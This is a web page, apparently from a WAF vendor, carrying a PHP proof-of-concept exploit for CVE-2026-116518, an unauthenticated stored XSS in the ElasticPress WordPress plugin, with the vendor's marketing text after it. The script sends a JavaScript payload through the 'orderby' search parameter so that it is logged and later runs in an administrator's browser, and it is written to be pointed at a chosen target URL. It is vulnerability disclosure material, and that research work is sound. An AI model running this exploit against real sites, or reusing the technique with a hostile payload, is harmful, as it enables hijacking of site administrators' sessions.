// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-116518 - ElasticPress <= 5.3.5 - Unauthenticated Stored XSS via 'orderby' Parameter
//
// This PoC demonstrates storing a payload through the unauthenticated frontend search endpoint.
// After execution, an administrator visiting WP-Admin > ElasticPress > Status Report and
// expanding the Failed Queries panel will trigger the injected JavaScript.

$target_url = 'http://localhost:8080'; // <-- Change this to your target WordPress site

// XSS payload. Single quotes would break the URL without encoding, so we rely on
// urlencode-style handling in http_build_query.
$payload = '<img src=x onerror=alert(document.domain)>';

// Frontend search request. ElasticPress intercepts the orderby parameter on the main
// blog search, forwards it to Elasticsearch, the malformed sort raises an ES error, and
// the error (containing our payload) gets logged into the ep_query_log transient.
$args = [
    's'       => 'xss-poc-' . time(),
    'orderby' => $payload,
];

$url = rtrim($target_url, '/') . '/?' . http_build_query($args);

echo "[*] Sending unauthenticated search request to: {$url}n";

$ch = curl_init($url);
curl_setopt_array($ch, [
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_TIMEOUT        => 15,
    CURLOPT_USERAGENT      => 'AtomicEdge-PoC/1.0',
]);

$response = curl_exec($ch);
$status   = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$err      = curl_error($ch);
curl_close($ch);

if ($err) {
    echo "[!] cURL error: {$err}n";
    exit(1);
}

echo "[*] HTTP status: {$status}n";
echo "[*] Response size: " . strlen((string) $response) . " bytesn";

// The server response body itself is not the exploit path. Success is defined by whether
// the ES error was logged to the transient. The attacker cannot verify this remotely, so
// the PoC simply reports that the request was delivered.
echo "[*] Payload delivered. If ElasticPress logged the malformed orderby to ep_query_log,n";
 echo "    an administrator opening WP-Admin > ElasticPress > Status Report will trigger:n";
 echo "    {$payload}n";
 echo "[*] Transient lifetime: 24 hours (ep_query_log).n";

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.